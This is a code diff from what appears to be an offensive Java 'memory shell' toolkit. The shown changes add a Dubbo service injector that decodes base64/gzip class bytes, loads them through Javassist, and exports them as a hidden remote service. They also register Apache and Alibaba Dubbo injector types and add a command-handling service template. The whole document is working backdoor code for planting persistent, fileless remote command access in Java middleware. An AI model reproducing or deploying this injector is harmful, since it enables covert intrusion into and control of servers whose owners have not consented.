ClassPool classPool = ClassGenerator.getClassPool(classLoader);
|
||||
try {
|
||||
classPool.getClass().getMethod("makeClassIfNew", InputStream.class).invoke(classPool, new ByteArrayInputStream(classBytes));
|
||||
} catch (NoSuchMethodException e) {
|
||||
classPool.getClass().getMethod("makeClass", InputStream.class).invoke(classPool, new ByteArrayInputStream(classBytes));
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
insertByteArrayClassPath(className, classLoader, classBytes);
|
||||
}
|
||||
|
||||
private void insertByteArrayClassPath(String className, ClassLoader classLoader, byte[] classBytes) {
|
||||
try {
|
||||
Class<?> classPoolClass = Class.forName("javassist.ClassPool");
|
||||
Class<?> classPathClass = Class.forName("javassist.ClassPath");
|
||||
Class<?> byteArrayClassPathClass = Class.forName("javassist.ByteArrayClassPath");
|
||||
insertClassPath(classPoolClass.getMethod("getDefault").invoke(null), classPoolClass, classPathClass, byteArrayClassPathClass, className, classBytes);
|
||||
insertClassPath(ClassGenerator.getClassPool(classLoader), classPoolClass, classPathClass, byteArrayClassPathClass, className, classBytes);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private void insertClassPath(Object classPool, Class<?> classPoolClass, Class<?> classPathClass, Class<?> byteArrayClassPathClass, String className, byte[] classBytes) throws Exception {
|
||||
if (classPoolClass.getMethod("find", String.class).invoke(classPool, className) == null) {
|
||||
classPoolClass.getMethod("insertClassPath", classPathClass).invoke(classPool, byteArrayClassPathClass.getConstructor(String.class, byte[].class).newInstance(className, classBytes));
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] decodeBase64(String str) throws Exception {
|
||||
return Base64.getDecoder().decode(str);
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] bArr) throws IOException {
|
||||
try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
|
||||
GZIPInputStream gZIPInputStream = new GZIPInputStream(new ByteArrayInputStream(bArr))) {
|
||||
byte[] bArr2 = new byte[4096];
|
||||
int i;
|
||||
while ((i = gZIPInputStream.read(bArr2)) > 0) {
|
||||
byteArrayOutputStream.write(bArr2, 0, i);
|
||||
}
|
||||
return byteArrayOutputStream.toByteArray();
|
||||
}
|
||||
}
|
||||
|
||||
public String registerService() throws Exception {
|
||||
String strNormalizePath = normalizePath(getUrlPattern());
|
||||
if (strNormalizePath.isEmpty()) {
|
||||
throw new IllegalArgumentException("path must not be empty");
|
||||
}
|
||||
if (!DYNAMIC_SERVICES.containsKey(strNormalizePath) && !isPathRegisteredInFramework(strNormalizePath)) {
|
||||
Class<?> shell = loadClass(getHelperBase64String());
|
||||
Class<?> shell2 = loadClass(getBase64String());
|
||||
validateServiceTypes(shell, shell2);
|
||||
ServiceConfig<?> serviceConfigCreateServiceConfig = createServiceConfig(strNormalizePath, shell, instantiate(shell2));
|
||||
if (DYNAMIC_SERVICES.putIfAbsent(strNormalizePath, serviceConfigCreateServiceConfig) != null) {
|
||||
return resolveServiceAddresses(strNormalizePath);
|
||||
}
|
||||
try {
|
||||
serviceConfigCreateServiceConfig.export();
|
||||
return resolveServiceAddresses(strNormalizePath);
|
||||
} catch (RuntimeException e) {
|
||||
DYNAMIC_SERVICES.remove(strNormalizePath, serviceConfigCreateServiceConfig);
|
||||
throw e;
|
||||
}
|
||||
}
|
||||
return resolveServiceAddresses(strNormalizePath);
|
||||
}
|
||||
|
||||
private boolean isPathRegisteredInFramework(String str) {
|
||||
try {
|
||||
for (Object obj : getRegisteredServices()) {
|
||||
if (str.equals(obj.getClass().getMethod("getPath").invoke(obj))) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
} catch (Exception e) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private Collection<?> getRegisteredServices() {
|
||||
try {
|
||||
Object configManager = resolveConfigManager();
|
||||
return toList(invokeNoArgs(configManager, "getServices"));
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
Object objInvoke = ApplicationModel.class.getMethod("defaultModel").invoke(null);
|
||||
Object objInvoke2 = objInvoke.getClass().getMethod("getDefaultModule").invoke(objInvoke);
|
||||
Object objInvoke3 = objInvoke2.getClass().getMethod("getConfigManager").invoke(objInvoke2);
|
||||
return toList(invokeNoArgs(objInvoke3, "getServices"));
|
||||
} catch (Exception e2) {
|
||||
return new ArrayList<>();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private String normalizePath(String str) {
|
||||
if (str == null) {
|
||||
return "";
|
||||
}
|
||||
String strTrim = str.trim();
|
||||
while (true) {
|
||||
String str2 = strTrim;
|
||||
if (!str2.startsWith("/")) {
|
||||
return str2;
|
||||
}
|
||||
strTrim = str2.substring(1);
|
||||
}
|
||||
}
|
||||
|
||||
private void validateServiceTypes(Class<?> cls, Class<?> cls2) {
|
||||
if (!cls.isInterface()) {
|
||||
throw new IllegalArgumentException("not an interface: " + cls.getName());
|
||||
}
|
||||
if (cls2.isInterface() || Modifier.isAbstract(cls2.getModifiers())) {
|
||||
throw new IllegalArgumentException("implementation class is not instantiable: " + cls2.getName());
|
||||
}
|
||||
if (!cls.isAssignableFrom(cls2)) {
|
||||
throw new IllegalArgumentException(cls2.getName() + " does not implement " + cls.getName());
|
||||
}
|
||||
}
|
||||
|
||||
private Object instantiate(Class<?> cls) {
|
||||
try {
|
||||
Constructor<?> declaredConstructor = cls.getDeclaredConstructor();
|
||||
declaredConstructor.setAccessible(true);
|
||||
return declaredConstructor.newInstance();
|
||||
} catch (Exception e) {
|
||||
throw new IllegalArgumentException("failed to instantiate " + cls.getName(), e);
|
||||
}
|
||||
}
|
||||
|
||||
private ServiceConfig<Object> createServiceConfig(String str, Class<?> cls, Object obj) {
|
||||
Object configManager = resolveConfigManager();
|
||||
ProviderConfig providerConfigResolveDefaultProvider = resolveDefaultProvider(configManager);
|
||||
ProviderConfig providerConfigSanitizeProviderConfig = sanitizeProviderConfig(providerConfigResolveDefaultProvider);
|
||||
ServiceConfig<Object> serviceConfig = new ServiceConfig<>();
|
||||
serviceConfig.setInterface(cls);
|
||||
serviceConfig.setRef(obj);
|
||||
serviceConfig.setPath(str);
|
||||
serviceConfig.setProxy("jdk");
|
||||
if (providerConfigSanitizeProviderConfig != null) {
|
||||
serviceConfig.setProvider(providerConfigSanitizeProviderConfig);
|
||||
}
|
||||
ApplicationConfig applicationConfig = castApplicationConfig(extractOptionalValue(invokeNoArgs(configManager, "getApplication")));
|
||||
if (applicationConfig != null) {
|
||||
serviceConfig.setApplication(applicationConfig);
|
||||
}
|
||||
String strResolveConfiguredVersion = resolveConfiguredVersion(providerConfigResolveDefaultProvider);
|
||||
if (strResolveConfiguredVersion != null) {
|
||||
serviceConfig.setVersion(strResolveConfiguredVersion);
|
||||
}
|
||||
serviceConfig.setProtocols(resolveConfiguredProtocols(providerConfigResolveDefaultProvider, configManager));
|
||||
serviceConfig.setRegistries(resolveRegistriesForExport(castRegistries(toList(invokeNoArgs(configManager, "getDefaultRegistries"))), castRegistries(toList(invokeNoArgs(configManager, "getRegistries")))));
|
||||
return serviceConfig;
|
||||
}
|
||||
|
||||
private ProviderConfig resolveDefaultProvider(Object obj) {
|
||||
ProviderConfig providerConfigCastProviderConfig = castProviderConfig(extractOptionalValue(invokeNoArgs(obj, "getDefaultProvider")));
|
||||
if (providerConfigCastProviderConfig != null) {
|
||||
return providerConfigCastProviderConfig;
|
||||
}
|
||||
Object objInvokeNoArgs = invokeNoArgs(obj, "getDefaultModule");
|
||||
if (objInvokeNoArgs == null) {
|
||||
objInvokeNoArgs = invokeNoArgs(invokeStaticNoArgs(ApplicationModel.class, "defaultModel"), "getDefaultModule");
|
||||
}
|
||||
Object objInvokeNoArgs2 = invokeNoArgs(objInvokeNoArgs, "getConfigManager");
|
||||
ProviderConfig providerConfigCastProviderConfig2 = castProviderConfig(extractOptionalValue(invokeNoArgs(objInvokeNoArgs2, "getDefaultProvider")));
|
||||
return providerConfigCastProviderConfig2 != null ? providerConfigCastProviderConfig2 : castProviderConfig(firstElement(toList(invokeNoArgs(objInvokeNoArgs2, "getProviders"))));
|
||||
}
|
||||
|
||||
private ProviderConfig sanitizeProviderConfig(ProviderConfig providerConfig) {
|
||||
if (providerConfig == null) {
|
||||
return null;
|
||||
}
|
||||
List registries = providerConfig.getRegistries();
|
||||
if (registries == null || filterValidRegistries(registries).size() == registries.size()) {
|
||||
return providerConfig;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private List<RegistryConfig> filterValidRegistries(Collection<RegistryConfig> collection) {
|
||||
if (collection == null) {
|
||||
return new ArrayList<>();
|
||||
}
|
||||
return collection.stream()
|
||||
.filter(registryConfig -> registryConfig != null && registryConfig.isValid())
|
||||
.collect(Collectors.toList());
|
||||
}
|
||||
|
||||
private List<RegistryConfig> resolveRegistriesForExport(Collection<RegistryConfig> collection, Collection<RegistryConfig> collection2) {
|
||||
List<RegistryConfig> listFilterValidRegistries = filterValidRegistries(collection);
|
||||
if (!listFilterValidRegistries.isEmpty()) {
|
||||
return listFilterValidRegistries;
|
||||
}
|
||||
List<RegistryConfig> listFilterValidRegistries2 = filterValidRegistries(collection2);
|
||||
return !listFilterValidRegistries2.isEmpty() ? listFilterValidRegistries2 : Collections.singletonList(new RegistryConfig("N/A"));
|
||||
}
|
||||
|
||||
private String resolveConfiguredVersion(Object obj) {
|
||||
return stringValue(invokeNoArgs(obj, "getVersion"), null);
|
||||
}
|
||||
|
||||
private List<ProtocolConfig> resolveConfiguredProtocols(ProviderConfig providerConfig, Object configManager) {
|
||||
return resolveConfiguredProtocols(providerConfig, configManager, getRegisteredServices());
|
||||
}
|
||||
|
||||
private List<ProtocolConfig> resolveConfiguredProtocols(ProviderConfig providerConfig, Object configManager, Collection<?> collection) {
|
||||
return mergeProtocols(mergeProtocols(mergeProtocols(providerConfig == null ? null : providerConfig.getProtocols(), castProtocols(toList(invokeNoArgs(configManager, "getDefaultProtocols")))), castProtocols(toList(invokeNoArgs(configManager, "getProtocols")))), collectProtocolsFromServices(collection));
|
||||
}
|
||||
|
||||
private List<ProtocolConfig> collectProtocolsFromServices(Collection<?> collection) {
|
||||
List<ProtocolConfig> arrayList = new ArrayList<>();
|
||||
if (collection != null) {
|
||||
try {
|
||||
for (Object service : collection) {
|
||||
try {
|
||||
arrayList.addAll(castProtocols(toList(invokeNoArgs(service, "getProtocols"))));
|
||||
} catch (Exception e) {
|
||||
}
|
||||
}
|
||||
} catch (Exception e2) {
|
||||
}
|
||||
}
|
||||
try {
|
||||
for (Object exportedProvider : getExportedProviders()) {
|
||||
try {
|
||||
Object objInvokeNoArgs = invokeNoArgs(exportedProvider, "getServiceConfig");
|
||||
if (objInvokeNoArgs != null) {
|
||||
arrayList.addAll(castProtocols(toList(invokeNoArgs(objInvokeNoArgs, "getProtocols"))));
|
||||
}
|
||||
} catch (Exception e3) {
|
||||
}
|
||||
}
|
||||
} catch (Exception e4) {
|
||||
}
|
||||
return arrayList;
|
||||
}
|
||||
|
||||
private Collection<?> getExportedProviders() {
|
||||
try {
|
||||
Object objInvoke = ApplicationModel.class.getMethod("getServiceRepository").invoke(null);
|
||||
return (Collection) objInvoke.getClass().getMethod("getExportedServices").invoke(objInvoke);
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
Object objInvoke2 = ApplicationModel.class.getMethod("defaultModel").invoke(null);
|
||||
Object objInvoke3 = objInvoke2.getClass().getMethod("getDefaultModule").invoke(objInvoke2);
|
||||
Object objInvoke4 = objInvoke3.getClass().getMethod("getServiceRepository").invoke(objInvoke3);
|
||||
return (Collection) objInvoke4.getClass().getMethod("getExportedServices").invoke(objInvoke4);
|
||||
} catch (Exception e2) {
|
||||
return new ArrayList<>();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private String resolveServiceAddresses(String str) {
|
||||
String strNormalizePath = normalizePath(str);
|
||||
Object objFindRegisteredService = DYNAMIC_SERVICES.get(strNormalizePath);
|
||||
if (objFindRegisteredService == null) {
|
||||
objFindRegisteredService = findRegisteredService(strNormalizePath);
|
||||
}
|
||||
if (objFindRegisteredService == null) {
|
||||
return strNormalizePath;
|
||||
}
|
||||
List<?> listExtractExportedUrls = extractExportedUrls(objFindRegisteredService);
|
||||
if (!listExtractExportedUrls.isEmpty()) {
|
||||
return formatUrls(listExtractExportedUrls);
|
||||
}
|
||||
List<?> listResolveProtocols = resolveProtocols(objFindRegisteredService);
|
||||
if (listResolveProtocols.isEmpty()) {
|
||||
return strNormalizePath;
|
||||
}
|
||||
return formatProtocolAddresses(listResolveProtocols, strNormalizePath);
|
||||
}
|
||||
|
||||
private Object findRegisteredService(String str) {
|
||||
for (Object obj : getRegisteredServices()) {
|
||||
if (str.equals(normalizePath(stringValue(invokeNoArgs(obj, "getPath"), "")))) {
|
||||
return obj;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private List<?> extractExportedUrls(Object obj) {
|
||||
List<?> list = toList(invokeNoArgs(obj, "getExportedUrls"));
|
||||
if (!list.isEmpty()) {
|
||||
return list;
|
||||
}
|
||||
List<?> list2 = toList(getFieldValue(obj, "exporters"));
|
||||
if (list2.isEmpty()) {
|
||||
return new ArrayList<>();
|
||||
}
|
||||
List<Object> arrayList = new ArrayList<>();
|
||||
for (Object exporter : list2) {
|
||||
Object objInvokeNoArgs = invokeNoArgs(invokeNoArgs(exporter, "getInvoker"), "getUrl");
|
||||
if (objInvokeNoArgs != null) {
|
||||
arrayList.add(objInvokeNoArgs);
|
||||
}
|
||||
}
|
||||
return arrayList;
|
||||
}
|
||||
|
||||
private List<?> resolveProtocols(Object obj) {
|
||||
List<?> list = toList(invokeNoArgs(obj, "getProtocols"));
|
||||
Object objInvokeNoArgs = invokeNoArgs(obj, "getProvider");
|
||||
List<ProtocolConfig> listResolveConfiguredProtocols = resolveConfiguredProtocols(objInvokeNoArgs instanceof ProviderConfig ? (ProviderConfig) objInvokeNoArgs : null, resolveConfigManager());
|
||||
return list.isEmpty() ? listResolveConfiguredProtocols : mergeProtocols(castProtocols(list), listResolveConfiguredProtocols);
|
||||
}
|
||||
|
||||
private Object invokeNoArgs(Object obj, String str) {
|
||||
if (obj == null) {
|
||||
return null;
|
||||
}
|
||||
try {
|
||||
return obj.getClass().getMethod(str).invoke(obj);
|
||||
} catch (Exception e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private Object invokeStaticNoArgs(Class<?> cls, String str) {
|
||||
try {
|
||||
return cls.getMethod(str).invoke(null);
|
||||
} catch (Exception e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private Object getFieldValue(Object obj, String str) {
|
||||
if (obj == null) {
|
||||
return null;
|
||||
}
|
||||
Class<?> superclass = obj.getClass();
|
||||
while (true) {
|
||||
Class<?> cls = superclass;
|
||||
if (cls == null) {
|
||||
return null;
|
||||
}
|
||||
try {
|
||||
Field declaredField = cls.getDeclaredField(str);
|
||||
declaredField.setAccessible(true);
|
||||
return declaredField.get(obj);
|
||||
} catch (Exception e) {
|
||||
superclass = cls.getSuperclass();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private List<?> toList(Object obj) {
|
||||
Object value = extractOptionalValue(obj);
|
||||
if (value instanceof Collection) {
|
||||
return new ArrayList<>((Collection<?>) value);
|
||||
}
|
||||
if (value instanceof Map) {
|
||||
return new ArrayList<>(((Map<?, ?>) value).values());
|
||||
}
|
||||
return new ArrayList<>();
|
||||
}
|
||||
|
||||
private Object extractOptionalValue(Object obj) {
|
||||
if (obj instanceof Optional) {
|
||||
return ((Optional<?>) obj).orElse(null);
|
||||
}
|
||||
return obj;
|
||||
}
|
||||
|
||||
private Object firstElement(List<?> list) {
|
||||
if (list.isEmpty()) {
|
||||
return null;
|
||||
}
|
||||
return list.get(0);
|
||||
}
|
||||
|
||||
private ProviderConfig castProviderConfig(Object obj) {
|
||||
if (obj instanceof ProviderConfig) {
|
||||
return (ProviderConfig) obj;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private ApplicationConfig castApplicationConfig(Object obj) {
|
||||
if (obj instanceof ApplicationConfig) {
|
||||
return (ApplicationConfig) obj;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private List<RegistryConfig> castRegistries(List<?> list) {
|
||||
return list.stream()
|
||||
.filter(RegistryConfig.class::isInstance)
|
||||
.map(RegistryConfig.class::cast)
|
||||
.collect(Collectors.toList());
|
||||
}
|
||||
|
||||
private Object resolveConfigManager() {
|
||||
Object objInvokeStaticNoArgs = invokeStaticNoArgs(ApplicationModel.class, "getConfigManager");
|
||||
if (objInvokeStaticNoArgs != null) {
|
||||
return objInvokeStaticNoArgs;
|
||||
}
|
||||
Object objInvokeStaticNoArgs2 = invokeStaticNoArgs(ApplicationModel.class, "defaultModel");
|
||||
Object objInvokeNoArgs = invokeNoArgs(objInvokeStaticNoArgs2, "getDefaultModule");
|
||||
return invokeNoArgs(objInvokeNoArgs, "getConfigManager");
|
||||
}
|
||||
|
||||
private String formatUrls(List<?> list) {
|
||||
return list.stream()
|
||||
.map(this::formatUrl)
|
||||
.collect(Collectors.joining(", "));
|
||||
}
|
||||
|
||||
private String formatProtocolAddresses(List<?> list, String str) {
|
||||
return list.stream()
|
||||
.map(obj -> formatProtocolAddress(obj, str))
|
||||
.collect(Collectors.joining(", "));
|
||||
}
|
||||
|
||||
private String formatUrl(Object obj) {
|
||||
String strStringValue = stringValue(invokeNoArgs(obj, "getProtocol"), "dubbo");
|
||||
String strNormalizePath = normalizePath(stringValue(invokeNoArgs(obj, "getPath"), ""));
|
||||
Integer numIntegerValue = integerValue(invokeNoArgs(obj, "getPort"));
|
||||
return (numIntegerValue == null || numIntegerValue.intValue() <= 0) ? String.format("%s://%s/%s", strStringValue, DISPLAY_HOST, strNormalizePath) : String.format("%s://%s:%d/%s", strStringValue, DISPLAY_HOST, numIntegerValue, strNormalizePath);
|
||||
}
|
||||
|
||||
private String formatProtocolAddress(Object obj, String str) {
|
||||
String strStringValue = stringValue(invokeNoArgs(obj, "getName"), "dubbo");
|
||||
Integer numIntegerValue = integerValue(invokeNoArgs(obj, "getPort"));
|
||||
return (numIntegerValue == null || numIntegerValue.intValue() <= 0) ? String.format("%s://%s/%s", strStringValue, DISPLAY_HOST, str) : String.format("%s://%s:%d/%s", strStringValue, DISPLAY_HOST, numIntegerValue, str);
|
||||
}
|
||||
|
||||
private String stringValue(Object obj, String str) {
|
||||
return (!(obj instanceof String) || ((String) obj).isEmpty()) ? str : (String) obj;
|
||||
}
|
||||
|
||||
private Integer integerValue(Object obj) {
|
||||
if (obj instanceof Number) {
|
||||
return Integer.valueOf(((Number) obj).intValue());
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private List<ProtocolConfig> castProtocols(List<?> list) {
|
||||
return list.stream()
|
||||
.filter(ProtocolConfig.class::isInstance)
|
||||
.map(ProtocolConfig.class::cast)
|
||||
.collect(Collectors.toList());
|
||||
}
|
||||
|
||||
private List<ProtocolConfig> mergeProtocols(Collection<ProtocolConfig> collection, Collection<ProtocolConfig> collection2) {
|
||||
LinkedHashMap<String, ProtocolConfig> linkedHashMap = new LinkedHashMap<>();
|
||||
addProtocols(linkedHashMap, collection);
|
||||
addProtocols(linkedHashMap, collection2);
|
||||
return new ArrayList<>(linkedHashMap.values());
|
||||
}
|
||||
|
||||
private void addProtocols(Map<String, ProtocolConfig> map, Collection<ProtocolConfig> collection) {
|
||||
if (collection == null) {
|
||||
return;
|
||||
}
|
||||
for (ProtocolConfig protocolConfig : collection) {
|
||||
if (protocolConfig != null) {
|
||||
map.put(protocolKey(protocolConfig), protocolConfig);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private String protocolKey(ProtocolConfig protocolConfig) {
|
||||
return String.valueOf(protocolConfig.getName()) + "|" + String.valueOf(protocolConfig.getHost()) + "|" + String.valueOf(protocolConfig.getPort()) + "|" + String.valueOf(protocolConfig.getServer()) + "|" + String.valueOf(protocolConfig.getId());
|
||||
}
|
||||
|
||||
private String getErrorMessage(Throwable th) {
|
||||
try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
|
||||
PrintStream printStream = new PrintStream(byteArrayOutputStream)) {
|
||||
th.printStackTrace(printStream);
|
||||
return byteArrayOutputStream.toString();
|
||||
} catch (IOException e) {
|
||||
return String.valueOf(th);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.injector.dubbo.AlibabaDubboServiceInjector;
|
||||
import com.reajason.javaweb.memshell.injector.dubbo.ApacheDubboServiceInjector;
|
||||
|
||||
public class Dubbo extends AbstractServer {
|
||||
@Override
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(ShellType.APACHE_DUBBO_SERVICE, ApacheDubboServiceInjector.class)
|
||||
.addInjector(ShellType.ALIBABA_DUBBO_SERVICE, AlibabaDubboServiceInjector.class)
|
||||
.build();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
package com.reajason.javaweb.memshell.shelltool;
|
||||
|
||||
public interface ShellDubboService {
|
||||
byte[] handle(byte[] bytes);
|
||||
}
|
||||
+75
@@ -0,0 +1,75 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.command;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.InputStream;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.Scanner;
|
||||
|
||||
public class CommandDubboService {
|
||||
|
||||
public byte[] handle(byte[] bytes) {
|
||||
if (bytes == null || bytes.length == 0) {
|
||||
return new byte[0];
|
||||
}
|
||||
String p = new String(bytes);
|
||||
String param = getParam(p);
|
||||
try {
|
||||
InputStream inputStream = getInputStream(param);
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
||||
outputStream.flush();
|
||||
outputStream.close();
|
||||
return outputStream.toByteArray();
|
||||
} catch (Exception e) {
|
||||
return getErrorMessage(e).getBytes();
|
||||
}
|
||||
}
|
||||
|
||||
private String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
private InputStream getInputStream(String param) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Object unwrap(Object obj, String fieldName) {
|
||||
try {
|
||||
return getFieldValue(obj, fieldName);
|
||||
} catch (Throwable e) {
|
||||
return obj;
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -145,7 +145,7 @@ public class CommonUtil {
|
||||
+ "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType;
|
||||
}
|
||||
|
||||
public static String getSimpleName(String injectorClassName) {
|
||||
return injectorClassName.substring(injectorClassName.lastIndexOf(".") + 1);
|
||||
public static String getSimpleName(String className) {
|
||||
return className.substring(className.lastIndexOf(".") + 1);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user